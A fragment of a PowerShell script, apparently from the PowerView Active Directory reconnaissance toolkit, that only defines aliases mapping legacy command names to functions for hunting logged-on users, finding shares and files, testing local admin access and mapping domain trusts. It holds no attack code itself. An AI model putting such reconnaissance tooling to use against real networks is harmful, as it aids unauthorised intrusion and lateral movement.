Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData

You might also like